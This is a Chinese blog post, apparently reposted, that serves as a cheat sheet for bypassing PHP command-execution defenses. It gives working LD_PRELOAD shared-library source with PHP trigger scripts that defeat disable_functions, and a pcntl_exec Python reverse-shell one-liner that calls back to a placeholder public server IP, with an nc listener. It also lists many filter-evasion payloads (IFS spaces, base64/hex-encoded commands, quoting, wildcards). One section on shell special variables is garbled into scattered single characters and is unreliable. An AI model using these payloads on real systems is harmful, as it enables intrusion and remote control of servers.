傻眼了,我粗略造了一个命令执行的绕过方法居然被同事嫖走了
Posted kali_Ma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了傻眼了,我粗略造了一个命令执行的绕过方法居然被同事嫖走了相关的知识,希望对你有一定的参考价值。
目录
x00 前言
我偷偷总结了一下命令执行绕过方法,不小心被同事看到了,然后他就给“借”走了。。
这里简单归纳总结一下:
0x01 常见的命令执行函数
因为之前已经详细总结过,这里只总结一些常见的:
system() #输出并返回最后一行shell结果。
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
反引号 #实际上是使用shell_exec()函数
0x02 常见命令分隔符、终止符和截断符号
在命令执行漏洞的考察中,主要用到了命令分隔符
:
1、命令分隔符
windows: && || & |
linux: && || & | ;
#分号;在shell中担任连续指令的功能
#下面的需php环境
%0a 换行符
%0d 回车符
2、命令终止符
#需php环境
%00
%20#
3、截断符号
$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用
0x03 命令执行绕过
一般情况下,遇到的命令执行绕过我简单总结成以下主要的四种情况:
1.disable_function
2.过滤字符
3.命令盲注
4.无回显的命令执行
1、disable_function
在php.ini
文件里,使用disable_function选项,可以禁用一些PHP危险函数。
通过查看phpinfo信息,可以浏览器上看到disable_function
禁用的函数。
当我们发现一个可以代码执行的地方,传入命令执行函数去执行系统命令,发现并不能成功,原因就是在php.ini文件里使用disable_function选项禁用了命令执行有关的危险函数。如对disable_function进行如下配置:
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
查阅大师傅的博客,发现绕过disable_function有以下两种最常用的方法:
1.ld_preload
2.php_gc
1.ld_preload
利用场景:实现了代码执行,未实现命令执行,且没有禁用mail
函数
利用条件:
(1)没有禁用mail
函数。
(2)站点根目录具有写文件权限
或其他目录具有写文件权限,并且可以在url上跳转到其他目录访问上传的php文件
或其他目录具有写文件权限,利用代码执行实现本地文件包含,包含最后要访问的php文件
相关知识:
LD_PRELOAD 劫持系统函数
LD_PRELOAD 是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail参考),sendmail二进制文件中使用了getuid库函数,这样我们可以覆盖getuid函数。
利用过程1:
于是可以通过利用环境变量LD_PRELOAD
劫持系统函数,让外部程序加载恶意的.so文件,达到执行系统命令的效果。具体步骤如下:
(1)编写一个c文件,实现我们自己的动态链接程序
hack1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
}
通过设置preload
可以劫持比较底层的函数。这里劫持了geteuid
函数
(2)将带有系统命令的c文件hack1.c
编译成为一个动态共享库,生成.so文件hack1.so
gcc -c -fPIC hack1.c -o hack1
gcc --share hack1 -o hack1.so
(3)通过putenv
设置LD_PRELOAD
,让hack1.so
优先被调用。并通过mail函数发送一封邮件来触发。
qwzf1.php
<?php
putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/
mail('','','',''); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数,实现覆盖geteuid函数。
?>
(4)如果站点根目录有文件写入权限,直接利用代码执行(或蚁剑上传)在站点根目录传入hack1.so
和qwzf1.php
文件。访问php文件,就会运行刚才c文件里写的ls
命令,最后就可以在/tmp/smity
文件中看到ls
的结果了。
然而,使用蚁剑上传hack1.so
和qwzf1.php
文件,发现站点根目录并没有文件写入权限。同时发现/tmp/
目录具有文件写入权限。
于是我考虑使用蚁剑上传hack1.so
和qwzf1.php
文件到/tmp/
目录下,然后利用代码执行实现文件包含漏洞包含qwzf1.php
文件,实现访问php文件的效果:
?code=include('/tmp/qwzf1.php');
查看/tmp/smity
上面实现了劫持函数绕过disable_function。
利用过程2:
但如果需要执行多条命令,一步一步的操作似乎有点麻烦,有什么好方法可以只需编译一次c文件,连续执行任意命令呢?
查阅大师傅博客发现:可以通过设置EVIL_CMDLINE环境变量的方式实现。大致步骤和上面的差不多,只不过 c文件和php文件的文件内容变了
(1)hack2.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid()
{
const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD"); //删除系统变量
system(cmdline);
}
(2)将c文件编译成动态链接库:
gcc -shared -fPIC hack2.c -o hack2.so
(3)qwzf2.php
<?php
$cmd = $_REQUEST["cmd"]; //要执行的系统命令
$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件
$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出
echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令
putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令,配置成系统环境变量EVIL_CMDLINE
$so_path = $_REQUEST["sopath"]; //传入.so文件
putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOAD
mail("", "", "", ""); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数,实现覆盖getuid函数。
echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
//nl2br()函数在字符串中的每个新行(\\n)之前插入HTML换行符
//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串
?>
(4)将hack2.so文件和qwzf2.php文件,通过代码执行写入(或使用蚁剑直接上传)具有写入权限的目录。
然后在浏览器上测试:
http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');
post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so
测试成功!
利用过程3:
有没有一种方法可以不劫持函数绕过 disable_function呢?
查阅大师傅博客发现了不劫持函数绕过 disable_function的方法:
GCC 有个 C 语言扩展修饰符attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行attribute((constructor)) 修饰的函数。
只需要找到php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下,就可以绕过disable_function。
(1)hack3.c
#include <unistd.h>
void payload(void){
system("ls /var/www/html > /tmp/smity");
}
__attribute__ ((__constructor__)) void exec(void){
if (getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}
(2)将c文件编译成动态链接库:
gcc -shared -fPIC hack3.c -o hack3.so
(3)qwzf3.php
<?php
putenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/
mail('','','','');
?>
(4)将hack3.so和qwzf3.php写入到具有文件写入权限的目录下,利用代码执行实现文件包含访问
?code=include(’/tmp/qwzf3.php’);
查看/tmp/smity文件,得到命令执行结果
2.php_gc
利用场景:实现了代码执行,未实现命令执行
利用条件:php7.0 < 7.3
一般步骤:
利用蚁剑连接shell代码执行
将下面的脚本写好命令传上去然后访问
利用phpgc进程Bypass
3.利用pcntl_exec函数
利用场景:实现了代码执行,未实现命令执行,且没有禁用pcntl_exec
函数
利用条件:PHP 4 >= 4.2.0, PHP 5
相关知识:
pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序
一般步骤:
- 利用蚁剑连接shell代码执行
- 将下面的php代码传上去然后访问
- 在公网服务器监听端口,实现反弹shell
利用代码:
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
监听利用代码中填写的端口
nc -lvvp 4444
不想再重新搭建环境,所以这个地方没进行复现。。。
2、绕过过滤字符
1.空格绕过
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #用逗号,实现了空格功能
%20
%09
1.${IFS}
这算是Linux中的一个变量
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
花括号的别样用法:
在Linux bash中可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令,如{mv,文件1,文件2}
2.黑名单绕过
假设黑名单里有flag
(1)拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
(2)编码绕过
#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码:cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码:cat flag.php -> \\x63\\x61\\x74\\x20\\x66\\x6c\\x61\\x67\\x2e\\x70\\x68\\x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\\x63\\x61\\x74\\x20\\x66\\x6c\\x61\\x67\\x2e\\x70\\x68\\x70")
{printf,"\\x63\\x61\\x74\\x20\\x66\\x6c\\x61\\x67\\x2e\\x70\\x68\\x70"}|bash
`{printf,"\\x63\\x61\\x74\\x20\\x66\\x6c\\x61\\x67\\x2e\\x70\\x68\\x70"}`
(3)利用已存在资源
如:从已有的文件或者环境变量中获得相应的字符
(4)单引号、双引号绕过
cat fl''ag.php
cat fl""ag.php
c''at fl''ag.php
c""at fl""ag.php
(5)反斜杠绕过
cat fl\\ag.php
c\\at fl\\ag.php
(6)利用shell特殊变量绕过
#特殊变量有:
$1到
9
、
9、
9、@和$*等
cat fl
1
a
g
.
p
h
p
c
a
t
f
l
1ag.php cat fl
1ag.phpcatfl@ag.php
3.文件读取绕过
文件读取,最常用的就是cat
命令。如果cat
被过滤,可以使用下面命令替代:
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php
上边的命令执行后,都可以在输出结果中看到flag。
而od命令可通过添加-c
选项输出字符串内容:
od -c flag.php
4.通配符绕过
参考:命令执行绕过之Linux通配符
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。
5.内敛执行绕过
内敛,就是将命令
或$(命令)内命令的输出作为输入执行
cat ls
cat $(ls)
最后,希望此文对你有所帮助,我是一名网络安全工作者,在工作学习的同时,整理搜集了一些资料,下面只展示一部分,需要全部内容的【点我查看】获取
以上是关于傻眼了,我粗略造了一个命令执行的绕过方法居然被同事嫖走了的主要内容,如果未能解决你的问题,请参考以下文章
尴尬...我居然被领导和同事嘲笑了,因为不会Python接口自动化?